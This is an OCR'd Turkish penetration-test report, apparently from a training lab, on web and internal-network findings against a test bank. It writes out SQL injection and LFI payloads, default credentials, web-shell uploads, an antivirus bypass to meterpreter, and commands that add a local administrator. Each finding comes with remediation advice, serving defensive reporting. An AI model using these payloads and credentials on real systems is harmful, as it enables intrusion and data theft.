Varolan Hesaplar adinda bir arama kutusu bulunmaktadir.Bu arama alanina yukaridaki tabloda
belirtilen payload degeri yazildiginda herhangi bir GET veya POST isteginde bulunmaya gerek
kalmadan asagidaki ekran goriintiisiinde oldugu gibi direk olarak sisteme kayith biitiin iban
numaralarina erisilebilmektedir.
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Havale/EFT islem Merkezi

Havale EFT Varolan Hesaplar:

Havale Gonderme Islemi

Odeme : - Seginiz -

(® IBAN ile Gonder
(O Hesap No ile Gonder

Gonderme Tipi :

IBAN NO :
HESAP SAHIBI :
Miktar : 0 . 00

Not :

NOT: Sectifjiniz Hesabin Kur'u neuse onunla iglem yapiacaktir!

Devam Et

Sekil 11:Sql Enjeksiyonunun bulundugu havale sayfasi

Bulgu 2:

" or 1=1;--|

Rizacan Tufan(TR400340100000000000001004)
BGA YOK(TR400340100000000000020025)

Rizacan Tufan(TR400340100000000000020026)
Deneme Hesap(TR400340100000000000020027)
mali mali(TR400340100000000000020028)

erkan turk(TR400340100000000000020029)

kemal zorludemir1123(TR400340100000000000020
Cihat 151k s&ouml;nd&uuml;(TR4003401000000000C
Enis

B&uuml; y&uuml; kg&uuml;ner(TR400340100000000
Mehmet Demir(TR400340100000000000020033)
Timur Kadizade(TR400340100000000000020034)
Cin Ali(TR400340100000000000020035)

cihat 151k(TR400340100000000000020036)

Enes bilgin(TR400340100000000000020037)

cihat 151k(TR400340100000000000020038)

enes bilgin(TR400340100000000000020039)
mehmet ali yalcinkaya(TR400340100000000000020
kemallim z(TR400340100000000000020041)

Enis

B&uuml; y&uuml;kg&uuml;ner(TR400340100000000
kadir x(TR400340100000000000020043)

Timur Kadizade(TR400340100000000000020044)
Mehmet Demir(TR400340100000000000020045)
erkan turk(TR400340100000000000020046)

URL
neme

http://shell.bga.com.tr:8080/index.php?sayfa=arama.php&b_search_send=&s=de
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GET

sayfa=arama.php&b_search_send=&s=deneme" UNION ALL SELECT
NULL,NULL,CONCAT(0x7176796271,0x777242636e46616b6169,0x7170677971)
,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

Zaafiyet Bilgisi

Place: GET

Parameter: s
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: sayfa=arama.php&b_search_send=&s=deneme" AND (SELECT 4939
FROM(SELECT COUNT(*),CONCAT(0x7176796271,(SELECT (CASE WHEN (4939=4939)
THEN 1 ELSE 0 END)),0x7170677971,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "Srdg"="Srdg

Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns

Payload: sayfa=arama.php&b_search_send=&s=deneme" UNION ALL SELECT
NULL,NULL,CONCAT(0x7176796271,0x777242636e46616b6169,0x7170677971),NULL,N
ULL,NULL,NULL,NULL,NULL,NULL#

Yukaridaki tablodan da anlasilacagi tizere hedef sistemin veri tabaninda sql enjeksiyonu tespit
edilmistir.sqlmap araci kullanilarak tespit edilen a¢iklik asagidaki resimde goriinmektedir.
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[WARNING] reflective

ralue(s)

found and filtering out

eb server operating system: Linux Debian
eb application technology: Apache 2.2.22, PHP 5.4.4

pack -end DBMS: MySQL >= 5.0.0

14:40:11] [WARNING]
es). Falling back to

something went

wrong with fullaION teClnique (mos

partial UNION technique

14:40:11] [WARNING] the SQL query provided doeSShaof™ retlrn any gouipui

hvailable databases [7]:
*] BGA Bank_1 ©
dvwa
information_schema
mysql
performance_schema
phpmyadmin
test

Sekil 7: Sistemdeki veritabanlar: goriilmektedir.

Daha sonra BGA_Bank_1_0 veritabanina ait tablolar asagidaki

listelenmistir.

Database: BGA_Bank_1_0
[15 tables]

bnk_ayarlar
bnk_bankalar
bnk_hesap_islemleri
bnk_hesap_turleri
bnk_hesaplar

bnk_iller

bnk_kurtipleri
bnk_musteri_temsilci_mesajlar
bnk_musteriler
bnk_musteriler_user_agent
bnk_sahte_hesaplar

bnk_sayfalar
bnk_subeler
bnk_temsilciler
bnk_ziyaretci_defteri

[*] shutting down at 14:41:35

Sekil 8: Tablolar sekilde goriinmektedir.

ekran goriintiisiinde
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Bu adimdan sonra ise bnk_hesaplar siituna ait verilere ulasilmistir ve asagidaki ekran
gorintiisiinde listelenmistir.

pback-end DBMS: MySQL =>= 5.0.0

[WARNING]
[WARNING] s
ng back to
[WARNING]

> of limitation ony

y output

[14:42:27] [WARNING] the SQL query provided does not return any output

Sekil 9: Siitunlara ait veriler listelenmistir.

Buradan sonra siitiinlarin igerikleri goriintiilenmis ve hassas bilgilere erisilmistir.Erisilen
bilgiler gizlilik arz ettigi icin bu adimdan sonrasi rapora eklenmemistir.

Acikligr Barindiran Sistemler:

* http://shell.bga.com.tr:8080/index.php?sayfa=arama.php&b_search_send=&s=deneme
Coziim Onerileri:
Uygulama kodlarinin gbzden gecirilerek parametreler ve http baslhigindaki diger alanlar vasitasi

ile yollanan her tiirlii bilginin kullanilmadan o6nce zararli karakterlerden filtrelenmesi
onerilmektedir.

Uygulamalardaki biitiin girdi noktalarindan gelen degiskenler girdi kontroliine sokulmali ve bu
girdilerdeki biitiin meta karakterlerin filtrelenmesi 6nerilmektedir. Detayli SQL enjeksiyonu
onleme yontemleri icin asagida belirtilen referanslar incelenebilir.

Referanslar:

e http://www.owasp.org/index.php/Injection_Flaws

e http://www.unixwiz.net/techtips/sql-injection.html

e http://www.ngssoftware.com/papers/more_advanced sql injection.pdf

e http://www.nextgenss.com/papers/advanced sqgl injection.pdf
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http://www.securiteam.com/securityreviews/5DPON1P76E.html
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6.2.2.6. LFI (Local File Inclusion) Yerel Dosya Dahil Etme Agikhg:

Onem Derecesi Kritik

Acikhigin EtKisi Yetkisiz Erisim, Bilgi ifsas

Erisim Noktasi Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Web

Bulgu Sebebi Uygulama Gelistirmedeki Eksiklikler/Hatalar
Bulgu Aciklamasi:

BGA pentest ekibi tarafindan internet iizerinden hedefe yonelik olarak gerceklestirilen sizma
testlerinde, web uygulamasi tizerinde Local File Inclusion olarak bilinen yerel dosya dahil etme
aciklig1 oldugu belirlenmistir. ilgili aciklik istismar edilerek, hedef sistemde dizin yolu bilinen
dosyalarin igerigi okunabilir. Saldirganlar bu yolu izleyerek veritabani baglanti dosyalarini
okuyabilir, veritabanini ele gecirebilir, ajan uygulamalar aracilig1 ile isletim sistemini ele
gecirebilirler.

http://www.bgabank.com:8080/index.php?sayfa=../../../../../../ ../ etc/passwd

HTTP Talep
Turu

GET

Parametre [EE\El

Payload =./.[.].].]..]../etc/passwd

Yukaridaki tabloda belirtilen bilgiler dogrultusunda browser tizerinden uygulama calistirildigi
zaman yetkisiz yerlere erisim saglandig1 goriilmiistiir. Asagidaki ekran goriintiisiinde aciklik
istismar edilmis ve yetkisi olmamasina ragmen /etc/passwd dosyasinin icerigi
goruntiilenmistir.
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Sekil 12: LFI sayesinde sistem iizerinde komut calistirilabilir.

Yukarida verilen hedef web uygulamasindaki LFI aciklig1 istismar edilerek /etc/passwd dosyasi
Altindaki bilgiler okunmustur.

Acikhig1 Barindiran Sistemler:

* http://bgabank.com:8080

Coziim Onerileri:

Disaridan input olarak alinan dosyalarin mutlaka kontrol edilmesi 6nerilmektedir. Whitelist
veya blacklist kullanilarak okunacak veya okunamayacak dosyalarin belirtilmesi
onerilmektedir. Dizin dolasma (../../) uygulama bazinda engellenmesi 6nerilmektedir. Bu tiir
saldirilara kars1 onlem olarak web application firewall benzeri uygulamalarin kullanilmasi
tavsiye edilmektedir.

Referanslar:

e http://en.wikipedia.org/wiki/File inclusion vulnerability

e http://hakipedia.com/index.php/Local File Inclusion
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6.3. Etki Alani, Sunucu ve istemci Sistemler Giivenlik Testleri

6.3.1. Gergeklestirilen Giivenlik Testi islemleri

Etki alani, sunucu ve istemci sistemlerinde asagidaki gilivenlik denetim adimlar
gerceklestirilmistir.
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6.3.2. Tespit Edilen Agikhiklar

6.3.2.1. Basit Parolaya Sahip Root Kullanici Hesabi Kullanimi

Onem Derecesi Kritik

Acikhigin Etkisi Yetkisiz Erisim

Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Sistem

Bulgu Sebebi Yapilandirma Eksikligi/Hatasi
Bulgu Aciklamasi:

Gerceklestirilen sizma testleri esnasinda hedef sistem aginda sifresiz phpmyadmin kullanici
hesab1 tespit edilmistir. Saldirganlar bu hesap bilgilerini kullanarak ilgili sisteme tam yetkiyle
erisebilir.

Asagidaki ekran goriintiisiinde kurulumu varsayillan ayarlarla yapilan bir phpmyadmin
uygulamasi gérilnmektedir. Ontaniml olarak sifresiz girilebilmektedir.

@ (@ 10.40.107.2/phpmyadmin/#PMAURL-O:index.pr ( 1&targ ng=en&collation_connection=utf8mb4_general_ci&tol v @ ® [Bv taudanum Q] 78 & NoProxy
U Metasploit Pro ) Nessus Wy Aircrack-ng EBExploit-DB 3
B ciserver:127.0.0.1 =
php
) e Databases [ SQL (§ Status =7 Users (i Export (=} Import ° settings || Replication 4| Variables = Charsets (g Engines
(Recent tables) M|
New STISia PoStnY SRS RIS
®
8@ cdcol s 127.0.0.1 via TCP/IP
8 5 information. schema = Server connection collation @ :| utf8mb4_general_ci | O SRR 2/ U U]

-L* mysql * Server type: MySQL
- performance_schema  Server version: 5.5.36 - MySQL Community Server (GPL)

+~ ) phpmyadmin -
; Zth 4 SRS « User: root@localhost
i « Server charset: UTF-8 Unicode (utfg)

¥ test N
& G webauth & Language @ :| English M|

« Protocol version: 10

@ Theme: | pmahomme |

« Font size:| 82% |
« Apache/2.4.7 (Win32) OpenSSL/0.9.8y PHP/5.4.25
&° More settings « Database client version: libmysgl - mysqlnd 5.0.10 - 20111026 - $id:
¢85105d7c6f7d70d609bb4c000257868a40840ab $
* PHP extension: mysqli @

« Version information: 4.1.6, latest stable version: 4.1.8
« Documentation

o Wiki

« Official Homepage

o Contribute

« Get support

o List of changes

Sekil 10: Ontanimhi phpmyadmin hesabi

Sifresiz olarak uygulamaya giris yapildiktan sonra bir adet veritabani olusturuldu. Olusturulan
bu veritabani iizerinde sisteme dosya ytukleyebilmeyi saglayacak kodlari iceren bir adet tablo
olusturuldu. Daha sonra yiiklenen bu kod parcgasi ¢alistirildigi zaman asagidaki gibi dosya
yuklenebilen bir sayfa olustu.
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@

P Metasplot Pro

Sekil 11: Dosya yiikleme ekrani

1040.107.2

Neswn WArcrackng KBExplon 08

A T s

Drowse

v € @ B wterum

L P S NoProvyv

Artik bundan sonra sisteme istedigimiz dosyay1 yiikleyebilecegimiz bir dosya yiikleme

sayfasina sahip olduk. Daha sonra ¢ok sik kullanilan bir adet shell dosyasini buradan sisteme

yukledik.Yiiklenen bu dosyayi1 calistirdigimiz zaman sistem tizerinde komut ¢alistirabilir hale

geldik. Asagidaki ekran goriintiisiinde sisteme yiiklenen shell {izerinden komut calistirildig:
gosterilmektedir.

€@ [@ 10.40.107.2/5hell3 phy

@ Metasploit Pro

‘Warning: include(ipcheck.php): failed to open stream: No such file or directory in C:\xampp\htdocs\shell3.php on line 44

Warning: include(): Failed opening 'ipcheck.php' for inclusion (include_path=".;C:\xampp\php\PEAR') in C:\xampp\htdocs\shell3.php on line 44

)Nessus W Aircrack-ng [EBExploit-DB

Laudanum Shell

Current Working Directory: .

03/05/2014 04:05 PM <DIR> php
03/05/2014 04:04 PM <DIR> phpMyAdmin
03/05/2014 04:04 PM 704 properties.ini
02/15/2014 03:54 PM 8,119 readme_de.txt
02/15/2014 03:54 PM 7,929 readme_en. txt
03/05/2014 04:03 PM <DIR> security
03/05/2014 04:04 PM <DIR> sendmail
03/30/2013 01:28 PM 60,928 service.exe
03/30/2013 01:28 PM 1,255 setup_xampp.bat
03/05/2014 04:03 PM DIR> src
03/30/2013 01:28 PM 3,829 test_php.bat
03/06/2014 05:46 PM <DIR> tmp
03/05/2014 04:04 PM DIR>
03/05/2014 04:05 PM 183,360 uninstall.dat
03/05/2014 04:05 PM 6,794,462 uninstall.exe
03/05/2014 04:05 PM <DIR> webalizer
03/05/2014 04:03 PM <DIR> webdav
06/17/2013 11:42 AM 2,569,216 xampp-control.exe
03/05/2014 04:15 PM 1,198 xzmpp-contr‘ol.)nl
03/05/2014 04:15 PM 7.770 xampp-control.log
03/05/2014 04:03 PM 1,083 xampp_shell.bat
03/30/2013 01:28 PM 118,784 xampp_start.exe
03/30/2013 01:28 PM 118,784 xampp_stop.exe

29 File(s) 9,898,422 bytes

26 Dir(s) 9,645,580, 288 bytes free
$]

Execute Command

Logout |

Sekil 12: Sisteme yiiklenen shell ile komut ¢calistirma

Acikligr Barindiran Sistemler:

10.40.107.2

Coziim Onerileri:

@] ® (B~ tudanum

Qf A & NoProxy®

Size: [24 | x [80 |

Kullanic1 parolalar1 firma politikasina uygun olarak tahmin edilmesi gii¢ sekilde

verilmesi onerilmektedir.
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* Parolaicerisinde biiytik harf, kii¢iik harf, rakam ve alfanumerik karakterlerin bulunmasi
onerilmektedir.
* Parolalarin belirli periyodlarla degistirilmesi 6nerilmektedir.

Referanslar:

* http://www.cyberciti.biz/tips/linux-security.html
* http://www.makeuseof.com/tag/how-to-create-strong-password-that-you-can-
remember-easily/
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6.3.2.2. Antiviriis Korumasi Atlatma

Onem Derecesi Yiiksek

Acikhigin Etkisi Yetkisiz Erisim

Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Sistem

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Kuruma ait sistemlerde Symantec marka antiviriis uygulamasinin kurulu oldugu tespit
edilmistir. Yapilan testlerde bazi encoding metotlar1 kullanilarak bu giivenligin atlatilabildigi
belirlenmistir. Saldirganlar ilgili durumu istismar ederek, giivenlik korumasini atlatip
sistemlere erisim elde edebilirler.

Bu girisimde once sisteme USB Flash Diskler araciigiyla zararlh yazilim bulastirilmaya
calisilmistir ve herhangi bir giivenlik onlemiyle karsilasilmadan zararli yazilim istemci
bilgisayara yiiklenmistir. Daha sonra ise zararli yazilim internet tlizerinden indirilmeye
calisilmistir ve bu da basarili olmustur.

Asagidaki ekran goriintiistinde kuruma ait bir bilgisayara bulastirilan zararli yazilimin antiviris
tarafindan yakalanmadig gorilmektedir.

W Symantec Ensdpoint Protection

Status

Scan for threats

Change settings
View quarantine

View logs
g &9 Antivirus and Antispyware Protection

Definitions: 09 Eykid 2013 Pazartesirl b

Sekil 13: Yiiklenen zararh yazilimin Antiviriis tarafindan yakalanamadig: gériilmiistiir.
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Daha sonra sistem tizerinde atilan zararl yazilim calistirilarak meterpreter elde edilir ve sistem
ele gecirilmis olur.

NT AUTHORITY

NT A ) 4 M \ )tePROOt System32\smss.exe
NT A ;
NT AUTHORITY

RABBIT-SYS5PFBHN\rabbit-xp

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

RABBIT-S¥SRFBHNN\"rabbit=xp

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE

NT AUTHORITY\LOCAL SERVICE

RABBIT-SYS5PFBHNM i

RABBIT-SYS5PFBHNM

NT AUTHORITY\SY

RABBIT-SYS5PFBHNM

RABBIT-SYS5PFBHRM

RABBIT-SYS5PFBHN\

LU wahso
N |

N O O
0 0 0 00 0
o000 O

0
0
0
0
0
0
0
0
°)
0
0
0
0
0
0
0
0
0
0

r > getpid
936

Sekil 13: Meterpreter calistirma.

Acikligr Barindiran Sistemler:

* Ayni antiviriisiin kurulu oldugu biitiin makineler a¢iklig1 barindirmaktadir.

Coziim Onerileri:

llgili antiviriis uygulamasina ait tiim giincellestirmelerin yapilmasi, antiviriis uygulamasi
destekliyorsa daha kat1 profilde ayarlar girilmesi énerilmektedir. Uretici firmadan ilgili konu
hakkinda destek alinmasi 6nerilmektedir.

Referanslar:

* http://sector876.blogspot.com/2013/03/av-bypass-symantec-endpoint-
protection.html
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6.3.2.3. Apache Tomcat Manager Ontaniml Hesap Kullanimi(CVE-2009-3099)
Onem Derecesi Kritik

Acikhigin EtKisi Yetkisiz Erisim, Bilgi ifsas
Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Sistem

Bulgu Sebebi Yapilandirma Eksikligi/Hatasi
Bulgu Aciklamasi:

Miisteri Kurum i¢ aginda yapilan sizma testleri esnasinda ilgili port lizerinden hizmet veren
Tomcat web sunucu uygulamasinin kurulu oldugu sistemler tespit edilmistir. Yapilan parola
tahmin saldirilarinda ilgili Apache Tomcat Manager uygulamalarinin éntanimh kullanici kimlik
bilgileri ile birakildig1 belirlenmistir. Varsayillan kurulumla birlikte Tomcat y6netim
arabiriminde tanimli kullanici ad1 ve parola bilgileri internetten edinilebilmekdedir. Bu hesap
bilgileri kullanilarak Tomcat y6netim arabirimine erisim saglanabilir. Admin panele erisim
saglandiktan sonra 0zel hazirlanacak .war uzantili dosyalarin sisteme upload edilmesi ile
isletim sistemine komut goénderilebilir ve sistem ele gecirilip sistemin uzaktan ydnetimi
gerceklestirilebilir.

On Tanimli Tomcat Kullanici Hesab1

Kullanici adi: tomcat

Parola: tomcat

Tabloda verilen 6ntaniml bilgiler kullanilarak tomcat uygulamasina giris yapilmistir. Daha
sonra asagidaki ekran gorilintiisiinde de gorildiigl lizere sisteme icinde shell bulunan .war
dosyas1 ylklenmistir.
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€ [@10.40.107.2.8080/manager/ntml v €] ® B ache tomcat/7.0.42 default passwords Q)| & No Proxy*

@ Metasploit Pro ) Nessus W Aircrack-ng [EBExploit-DB

| Expire sessions |withidle = [30 | minutes

Start Stop Reload Undeploy

[manager None specified Tomcat Manager Application true 123

Deploy directory or WAR file located on server

Context Path (required): :]
XML Configuration file URL: :]

WAR or Directory URL: l

Select WAR file to upload | J@iwse...

WAR file to deploy

Check to see if a web application has caused a memory leak on stop, reload or undeploy

Find leaks This diagnostic check will trigger a full garbage collection. Use it with extreme caution on production systems.

Tomcat Version JVM Version JVM Vendor 0S Name 0S Version IP Address

Apache Tomcat/7.0.42 | 1.7.0_51-b13 | Oracle Corporation Windows 7 | EGITIM-PC 10.40.107.2

Copyright ©® 1999-2013, Apache Software Foundation

Sekil 14:Tomcat war dosyasi yiikleme

Daha sonra sisteme ytiklenen war dosyasinin igindeki shell dosyasini ¢alistirmak i¢cin gerekli
dizine gidilir. Karsimiza ¢ikan komut ekranindan sisteme yeni bir kullanici eklenir.

€ ®» (@ 1040.107.2:8080/cmd/cmd.jsp v €

[ Metasploit Pro ) Nessus WyAircrack-ng EBExploit-DB

Commands with JSP
’net user bga 123456 laddl l [ Send ]

Sekil 15:Sisteme kullanici ekleme

Daha sonra eklenen kullaniciya administrators haklar verilir.

‘ [@ 10.40.107.2:8080/cmd/cmd.jsp?cmd=net+localgroup+administrators+bga+%2Fadd Ve] ®

[ Metasploit Pro ) Nessus WyAircrack-ng EBExploit-DB

Commands with JSP
[ ] Send

Command: net localgroup administrators bga /add

The command completed successfully.

Sekil 16:Kullaniciya administrators yetkisi verme
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Daha sonra eklenen kullanicinin tiim 6zelliklerini gérmek icin gerekli komut yazildig1 zaman
asagidaki gibi administrators yetkilerine sahip bir kullanicimiz olacaktir.

di [ 10.40.107.2:8080/cmd/cmd.jsp?cmd=net+user+bga

@ Metasploit Pro “)Nessus WyAircrack-ng EBExploit-DB

Commands with JSP

\.

Command: net user bga

User name

Full Name
Comment

User's comment
Country code
Account active
Account expires

Password last set
Password expires
Password changeable
Password required

User may change password

Workstations allowed
Logon script

User profile

Home directory

Last logon

Logon hours allowed

Local Group Memberships
Global Group memberships

}‘7Send
bga

000 (System Default)
Yes
Never

3/6/2014 9:40:45 PM
4/17/2014 9:40:45 PM
3/6/2014 9:40:45 PM
Yes
Yes

All

Never
All

*Administrators *Users
*None

The command completed successfully.

Sekil 17:Eklenen kullanicinin 6zellikleri

Daha sonra bu kullanici hesabi ile hedef

yapilabilir.

Thu Mar 6, 3:11 PM

Switch User |

%. Windows 7 Ultimate

Sekil 18:Hedef sisteme uzak masaiistii baglantisi yapilir.

sisteme uzak masaiistii baglantisi yapilarak giris

62

BGA Bilgi Giivenligi Anonim Sirketi | www.bga.com.tr



BGA BANK Sizma Testleri ve Giivenlik Denetim Raporu | Gizli

Acikligr Barindiran Sistemler:

* 10.40.107.2
Coziim Onerileri:
Kullanic1 hesaplarinin tutuldugu “tomcat-users.xml” dosyasini diizenleyip kimlik bilgilerini
degistirerek sorun ¢ozilebilir.

I1gili yonetim paneline erisimler kisitlanmasi énerilmektedir.

Referanslar:

* http://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2009-3099

* https://www.rapid7.com/db/vulnerabilities /http-tomcat-manager-tomcat-tomcat-
password
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6.3.2.4. Tahmin Edilebilir/ Ontanimli Hesap Bilgisi Kullanimi

Onem Derecesi
Acikhigin Etkisi
Erisim Noktasi
Kullanic Profili
Bulgu Kategorisi
Bulgu Sebebi

Bulgu Ac¢iklamasi:

Kritik

Yetkisiz Erisim
Yerel Ag
Kurum Calisani
Sistem

Yapilandirma Eksikligi/Hatas1

Yapilan s1zma testleri esnasinda miisteri kuruma ait sistemlerde, bir ¢ok servisin kullanici ad1
ve parola bilgilerinin varsayilan degerlerde birakilmis oldugu veya tahmin edilmesi kolay
degerler secildigi tespit edilmistir. Giivenli ve giiclii parolalarin secilmemesi durumunda, sistem
ne kadar giincel olursa olsun giivenlik konusunda biiyiik bir zafiyetler meydana gelmis olur.
Sistemde yetki alan saldirganlar veya kott niyetli ¢alisanlar servis dis1 birakmaya, gizli bilgilerin
ifsasina ve benzeri kotii sonuglara neden olabilir.

10.10.10.81 adresinden bulunan Netscaler 6ntaniml giris bilgileri ile kullanilmakta oldugu i¢in
sisteme bu bilgiler kullanilarak giris yapilmistir.

Tahmin edilen kullanic1 bilgileri

Kullanici adi:

nsroot

Parola:

nsroot
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NDY.0: DUNU DU.D.TIL, L/ALE: JUl 14 ZULl, 1£:D0:U% | LUYL «

H +  NetScaler VPX (3000)
CITRIX

Welcome nsroot@192.168.1.240(ns1) Monitoring | iguration Reporting Documentation Downloads
Settings Save Refresh All Hel
2 U nesscaervex 19~ @ retresn | U Adato Favortes | D ¢
= ) system
Ij Licenses|
() Settings| | Modes and Features | £| Configure Basic Features [==a]
B s g A4 Configure modes
_ﬂ Diagnosti| V ;
L.:] High Ava = s Configure basic features
D NTP Serv/| Configure advanced features] SSL Offloading :
:] Groups Compression :
C] Users
u Commanc| Load Balancing :
Lj T Content Switching : E
a Reports
[ Profiles Content Filtering :
U Audting Configuration Summary Integrated Caching :

& La Sppflow & no System Group
@ {J snmp

@ {J Network 8 1 systemuUser

) Cloud Bridge @ 4 Command Policies
U DNS - Authentication, Authorization and Auditing :

Rewrite :

Access Gateway :

OO OONREE

< | e » Application Firewall :

(@[] Feature is disabled.

(o)

@ Help <& Quick Link oK || close

S\
\"3 Favorites ]

<4 quick Links J

¢ | m »

Sekil 19:0n tanimh bilgiler ile sisteme giris yapilmistir.

Acikligr Barindiran Sistemler:

* 10.10.10.81

Coziim Onerileri:

Parola yonetiminde asagidaki maddeler g6zoniine alinabilir;

* Servis ve uygulamalara ait parolalarin firma politikasina uygun olarak, tahmin edilmesi
glc sekilde verilmesi 6nerilmektedir.

* Parola icerisinde biiylik harf, kiiciik harf, rakam ve 6zel karakterlerin kullanilmasi
onerilmektedir.

* Parolalarin belirli periyodlarla degistirilmesi 6nerilmektedir.

Referanslar:

* http://www.cyberciti.biz/tips/linux-security.html
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http://www.makeuseof.com/tag/how-to-create-strong-password-that-you-can-
remember-easily/
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6.3.2.5. F5 Root Kullanicisi Kimlik Dogrulama Atlatma

Onem Derecesi Yiiksek

Acikhigin Etkisi Yetkisiz Erisim

Erisim Noktasi Yerel Ag

Kullanic Profili Kurum Calisani

Bulgu Kategorisi Sistem

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Uretilen tiim F5 cihazlarinda kullanilan SSH servisine ait gizli anahtarin ayni olmasi sebebiyle
herhangi bir F5 cihazin gizli anahtarini elde eden saldirgan SSH erisim yetkisine sahip tiim F5
sistemlere herhangi bir parola ve hesap detay1 bilmeksizin tam yetkili kullanic1 hesabi (F5
sistemler Linux tabanl oldugu icin root kullanici ve 0 id haklariyla) Root kullanic1 haklariyla
sisteme erisim saglanildikdan sonra F5 arabirimini yonetecek admin hesabi eklenebilir ve tim
yapilandirma bilgileri degistirilebilir.

Asagidaki F5 triinleri bu acgikliktan etkilenmektedir.

+ VIPRION B2100, B4100, and B4200

¢ BIG-IP 520, 540, 1000, 2000, 2400, 5000, 5100, 1600, 3600, 3900, 6900, 8900, 8950,
11000, and 11050

¢ BIG-IP Virtual Edition

» Enterprise Manager 3000 and 4000

Asagidaki gizli anahtar bilgisi kullanilarak hedef sistemde root kullanici haklariyla oturum
acilmistir.

Istismara dair komut ¢iktis1

$ python exploit.py

Enter the IP address of the F5: 10.10.10.23
The authenticity of host 10.10.10.23 (10.10.10.23) can't be established.

RSA key fingerprint is 87:80:82::33:¢7:68:5g:9e:8k:60:dd:91.
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Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 10.10.10.23 (RSA) to the list of known hosts.
Last login: Tue Apr 2 15:11:07 2013 from 10.60.72.73

[root@bga] config # ifconfig

Vlan_Interlink Link encap:Ethernet HWaddr 00: A0:4E:03
inetaddr:1.1.1.1 Bcast:1.1.1.255 Mask:255.255.255.0

inet6 addr: fe80::201:d7ff:fea0:4e03 /64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Vlan_Internal Link encap:Ethernet HWaddr 00:01:D7:A0:4E:04

inet addr: 10.10.10.23 Bcast: 10.10.10.254 Mask:255.255.255.0

inet6 addr: fe80::201:d7ff:fea0:4e04 /64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:2948218537 errors:0 dropped:0 overruns:0 frame:0

TX packets:3819164397 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

collisions:0 txqueuelen:0

RX packets:92317505 errors:0 dropped:0 overruns:0 frame:0
[root@bga] config # cat /etc/shadow
root:$1$akMZ47Vn$DQRxIr********e7SHxm]JhRx0:14880:0:99999:7:::
bin:*:14880::::::
admin:$1$8EkgODJM$RD******9hjO0V3N6pfOW.0:14880:0:99999:7:::
user1:!1:14880::::::

user:!:14880::::::
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Acikligr Barindiran Sistemler:

* 10.10.10.23

Coziim Onerileri:

Acikligin etkisini gidermek i¢in birden fazla yol bulunmaktadir. Bu yollardan en sagliklisi iiretici
tarafindan hazirlanmis giincel yazilimin indirilerek kurulmasidir. Kritik konumda bulunan F5
sistemlerinin glincellenmesi zaman alacak durumdaysa SSH ayarlarini diizenleyerek uzak
sistemlerden SSH yapilmasi engellenebilir veya SSH iizerinden root parolasi ile giris
engellenebilir.

Ek olarak F5 sisteminden elde edilen parolalar incelendiginde kullanic1 ad1 ve parola bilgisi
ayni/benzer olan hesaplara rastlanilmistir. Benzeri hesaplarin production ortaminda da oldugu
diistiniilerek bu hesaplara ait parola politikalarinin sikilastirilmasi 6nerilmektedir.

Referanslar:

* http://support.f5.com/kb/en-us/solutions/public/13000/600/s0113600.html
* http://support.f5.com/kb/en-us/solutions/public/13000/200/s0l113250.html
* http://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2012-1493
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6.3.2.6. Ayni Kullanici Hesabinin Farkh Sistemlerde Kullanimi

Onem Derecesi
Acikhigin Etkisi
Erisim Noktasi
Kullanic Profili
Bulgu Kategorisi
Bulgu Sebebi

Bulgu Ac¢iklamasi:

Yiiksek
Yetkisiz Erisim
Yerel Ag
Kurum Calisani
Sistem

Yapilandirma Eksikligi/Hatas1

Yapilan sizma testleri esnasinda birden fazla sistemde ayni kullanici hesabi ve parolanin
kullanildig1 tespit edilmistir. Saldirganlar bu agiklik araciligi ile bir sekilde sizdiklar: bir sunucu
tizerindeki kullanici hesabini kullanarak tiim sistemleri ele gecirebilirler.

Ayni yerde kullanilan kullanic bilgileri

Kullanici adi:

Administrator

Parola:

Admin123

Yukaridaki tabloda verilen kullanici bilgileri i¢ agdaki bir¢ok makinede denenmistir ve
birkacina bu bilgiler kullanilarak giris yapilabilmistir. Giris yapilabilen makineler asagida

listelenmistir.

Aciklig1 Barindiran Sistemler:

* 10.10.10.24
e 10.10.10.43
* 10.10.10.65
* 10.10.10.76
* 10.10.10.88
* 10.10.10.98

Coziim Onerileri:

* Sistemlerde kullanilan kullanici parolalar1 kurum giivenlik politikas1 geregi giicli
parolalar olmalar1 6nerilmektedir.
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* Bir sistemde kullanilan parolanin bagka hic¢ bir sistemde kullanilmamasi 6nerilmektedir.

Referanslar:

* http://www.utoronto.ca/security/UTORprotect/passwd.htm
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6.3.2.7. Microsoft Windows isletim Sistemi Giincelleme Eksiklikleri
Onem Derecesi Yiiksek

Acikhigin Etkisi Yetkisiz Erisim, Servis Dis1 Birakma
Erisim Noktasi Yerel Ag

Kullanici Profili Kurum Calisani

Bulgu Kategorisi Sistem

Bulgu Sebebi Giincel Olmayan Isletim Sistemi Kullanimi
Bulgu Aciklamasi:

Windows isletim sistemi gelistirici firmasi Microsoft tarafindan her ay diizenli olarak giivenlik
aciklar icin yamalar ¢ikartilmaktadir. Bu yamalarin bir ¢ogu test edilerek yiiklendiginde
sistemdeki gilivenlik zafiyetleri kapatilmaktadir. Yamas:1 yiiklenmeyen isletim sistemleri
uzaktan ele gecirilme tehlikesiyle karsi karsiya kalmaktadir. Asagidaki etkilenen sistemler ile
verilen acikliklar istismar edilerek wuzaktan sistem {izerinde komut calistirma
gerceklestirilebilir. Bu sekilde sistemlere sizmak veya wuzaktan servis dis1 birakma
